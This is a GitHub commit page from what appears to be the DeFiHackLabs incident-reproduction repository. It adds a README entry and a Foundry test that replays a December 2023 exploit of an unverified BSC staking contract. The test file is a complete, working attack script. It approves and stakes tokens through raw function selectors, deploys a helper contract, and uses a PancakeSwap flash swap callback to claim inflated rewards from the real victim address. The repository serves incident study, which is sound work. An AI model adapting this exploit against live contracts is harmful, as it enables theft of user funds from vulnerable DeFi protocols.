Skip to content

Commit

Permalink
Merge pull request SunWeb3Sec#491 from Kkaminsk86/main
Browse files Browse the repository at this point in the history
Add UnverifiedContr_0x431abb exp
  • Loading branch information
SunWeb3Sec authored Dec 6, 2023
2 parents 7ebd7e3 + 2bfa648 commit 5b3d84f
Show file tree
Hide file tree
Showing 2 changed files with 249 additions and 1 deletion.
25 changes: 24 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@

**Reproduce DeFi hack incidents using Foundry.**

327 incidents included.
328 incidents included.

Let's make Web3 secure! Join [Discord](https://discord.gg/Fjyngakf3h)

Expand Down Expand Up @@ -33,6 +33,9 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/
- Lesson 7: Hack Analysis: Nomad Bridge, August 2022 ( [English](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/en/) | [中文](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/) )

## List of Past DeFi Incidents

[20231201 UnverifiedContr_0x431abb](#20231201-unverifiedcontr_0x431abb---business-logic-flaw)

[20231129 AIS](#20231129-ais---access-control)

[20231125 TheNFTV2](#20231125-thenftv2---logic-flaw)
Expand Down Expand Up @@ -721,6 +724,26 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/

### List of DeFi Hacks & POCs

### 20231201 UnverifiedContr_0x431abb - Business Logic Flaw

### Lost: ~$500k

Test

```
forge test --contracts ./src/test/UnverifiedContr_0x431abb_exp.sol -vvv
```

#### Contract

[UnverifiedContr_0x431abb_exp.sol](src/test/UnverifiedContr_0x431abb_exp.sol)

#### Link reference

https://twitter.com/Phalcon_xyz/status/1730625352953901123

---

### 20231129 AIS - Access Control

### Lost: ~$61k
Expand Down
225 changes: 225 additions & 0 deletions src/test/UnverifiedContr_0x431abb_exp.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,225 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo - Total Lost : ~$500K
// Attacker : https://bscscan.com/address/0xa9edec4496bd013dac805fb221edefc53cbfaf05
// Attack Contract : https://bscscan.com/address/0x791626eb05e60fac973646ac8d67b008b939fe88
// Victim Contract : https://bscscan.com/address/0x431abb27dab05f4e7cdeaa18390fe39364197500
// Attack Tx (Claim) : https://explorer.phalcon.xyz/tx/bsc/0xbeea4ff215b15870e22ed0e4d36ccd595974ffd55c3d75dad2230196cc379a52
// Attack Tx (Stake) : https://explorer.phalcon.xyz/tx/bsc/0xb650e9f4b9eb023ea65b55ca4d088323e3d5bda377880dedb149a7fd3fd5c15f

// @Analysis
// https://twitter.com/Phalcon_xyz/status/1730625352953901123

interface IBUSDT_MetaWin {
function buy(uint256 amount) external;
}

interface IBindingContract {
function bindParent(address parent) external;
}

contract ContractTest is Test {
IERC20 private constant BUSDT =
IERC20(0x55d398326f99059fF775485246999027B3197955);
IERC20 private constant FCN =
IERC20(0x0fEA057dB0e6b45fa1A0065Cd512150987F2AF08);
IERC20 private constant KLEN =
IERC20(0x05CbF8417401028dE10d6B949061336dF8233a9f);
IERC20 private constant TRUST =
IERC20(0x31952292c193c05AE91e19456312E2Be1419c040);
IERC20 private constant MDAO =
IERC20(0x6cc1eACe0794bcc5852c7Ff70656c4dF0F02d950);
Uni_Pair_V2 private constant FCN_BUSDT =
Uni_Pair_V2(0xACB496dd4A8b6B9D1B99D422b8700F6EF932Bc10);
IBUSDT_MetaWin private constant BUSDT_MetaWin =
IBUSDT_MetaWin(0x90bf82c772f16651d6ae51D42c90c84aE703Eb42);
IBindingContract private constant BindingContract =
IBindingContract(0x04c5bcFcae55591D72E01c548863F4E754C74339);
address private constant vulnContract =
0x431Abb27dAB05f4E7cDeAA18390fE39364197500;
address private constant addrToBind =
0x041285A02A7fabc448893f6c1766e4B592f46f96;

function setUp() public {
vm.createSelectFork("bsc", 33972111);
vm.label(address(BUSDT), "BUSDT");
vm.label(address(FCN), "FCN");
vm.label(address(KLEN), "KLEN");
vm.label(address(TRUST), "TRUST");
vm.label(address(MDAO), "MDAO");
vm.label(address(FCN_BUSDT), "FCN_BUSDT");
vm.label(address(BUSDT_MetaWin), "BUSDT_MetaWin");
vm.label(address(BindingContract), "BindingContract");
vm.label(vulnContract, "vulnContract");
vm.label(addrToBind, "addrToBind");
}

function testExploit() public {
// Exploiter transfer to attack contract following amounts of tokens (for staking) before attack:
deal(
address(TRUST),
address(this),
171_150_509_328_412_454 + 283_615_706_379_311_069
);
deal(
address(KLEN),
address(this),
2_848 * 1e18 + 2_999_999_999_999_999_999_999
);
deal(
address(MDAO),
address(this),
360_000_000_000_000_004_830 + 2_700_000_000_000_000_007_354
);
deal(address(FCN), address(this), 190e12);
deal(
address(BUSDT),
address(this),
400e18 + 780_008_559_000_000_000_000
);

emit log_named_decimal_uint(
"Exploiter BUSDT balance before attack",
BUSDT.balanceOf(address(this)),
BUSDT.decimals()
);

emit log_named_decimal_uint(
"Exploiter FCN balance before attack",
FCN.balanceOf(address(this)),
FCN.decimals()
);

// Approving tokens to vulnerable, unverified contract
setApprovals();

// Stake tokens TX
BUSDT_MetaWin.buy(7_690);
BindingContract.bindParent(addrToBind);
(bool success, ) = vulnContract.call(
abi.encodeWithSelector(bytes4(0x1f6b08a4), 1)
);
require(
success,
"Call to func with selector 0x1f6b08a4 not successful"
);
(success, ) = vulnContract.call(
abi.encodeWithSelector(bytes4(0x61b761d5), 200e18)
);
require(
success,
"Call to func with selector 0x61b761d5 not successful"
);

HelperExploitContract helper = new HelperExploitContract();
transferTokens(address(helper));
helper.exploit();

// Claim tokens TX
vm.roll(33972130);
FCN_BUSDT.swap(
0,
BUSDT.balanceOf(address(FCN_BUSDT)) - 20e15,
address(this),
abi.encode(0)
);
emit log_named_decimal_uint(
"Exploiter BUSDT balance after attack",
BUSDT.balanceOf(address(this)),
BUSDT.decimals()
);

emit log_named_decimal_uint(
"Exploiter FCN balance after attack",
FCN.balanceOf(address(this)),
FCN.decimals()
);
}

function pancakeCall(
address _sender,
uint _amount0,
uint _amount1,
bytes calldata _data
) external {
// Claim rewards in this call:
(bool success, ) = vulnContract.call(
abi.encodeWithSelector(bytes4(0xd9574d4c))
);
require(
success,
"Call to func with selector 0xd9574d4c not successful"
);

// Repaying flashloan
BUSDT.transfer(address(FCN_BUSDT), 10_000 * 1e18);
FCN.transfer(address(FCN_BUSDT), 100e18);
}

function setApprovals() internal {
KLEN.approve(vulnContract, type(uint256).max);
TRUST.approve(vulnContract, type(uint256).max);
MDAO.approve(vulnContract, type(uint256).max);
FCN.approve(vulnContract, type(uint256).max);
BUSDT.approve(address(BUSDT_MetaWin), type(uint256).max);
}

function transferTokens(address to) internal {
KLEN.transfer(to, KLEN.balanceOf(address(this)) / 2);
TRUST.transfer(to, TRUST.balanceOf(address(this)) / 2);
MDAO.transfer(to, MDAO.balanceOf(address(this)) / 2);
FCN.transfer(to, FCN.balanceOf(address(this)) / 2);
BUSDT.transfer(to, BUSDT.balanceOf(address(this)) / 2);
}
}

contract HelperExploitContract is Test {
IERC20 private constant BUSDT =
IERC20(0x55d398326f99059fF775485246999027B3197955);
IERC20 private constant FCN =
IERC20(0x0fEA057dB0e6b45fa1A0065Cd512150987F2AF08);
IERC20 private constant KLEN =
IERC20(0x05CbF8417401028dE10d6B949061336dF8233a9f);
IERC20 private constant TRUST =
IERC20(0x31952292c193c05AE91e19456312E2Be1419c040);
IERC20 private constant MDAO =
IERC20(0x6cc1eACe0794bcc5852c7Ff70656c4dF0F02d950);
IBUSDT_MetaWin private constant BUSDT_MetaWin =
IBUSDT_MetaWin(0x90bf82c772f16651d6ae51D42c90c84aE703Eb42);
IBindingContract private constant BindingContract =
IBindingContract(0x04c5bcFcae55591D72E01c548863F4E754C74339);
address private constant vulnContract =
0x431Abb27dAB05f4E7cDeAA18390fE39364197500;

function exploit() external {
setApprovals();
BUSDT_MetaWin.buy(6_069);
BindingContract.bindParent(msg.sender);
(bool success, ) = vulnContract.call(
abi.encodeWithSelector(bytes4(0x1f6b08a4), 1)
);
require(
success,
"Call to func with selector 0x1f6b08a4 not successful"
);
(success, ) = vulnContract.call(
abi.encodeWithSelector(bytes4(0x61b761d5), 200e18)
);
require(
success,
"Call to func with selector 0x61b761d5 not successful"
);
}

function setApprovals() internal {
KLEN.approve(vulnContract, type(uint256).max);
TRUST.approve(vulnContract, type(uint256).max);
MDAO.approve(vulnContract, type(uint256).max);
FCN.approve(vulnContract, type(uint256).max);
BUSDT.approve(address(BUSDT_MetaWin), type(uint256).max);
}
}

0 comments on commit 5b3d84f

Please sign in to comment.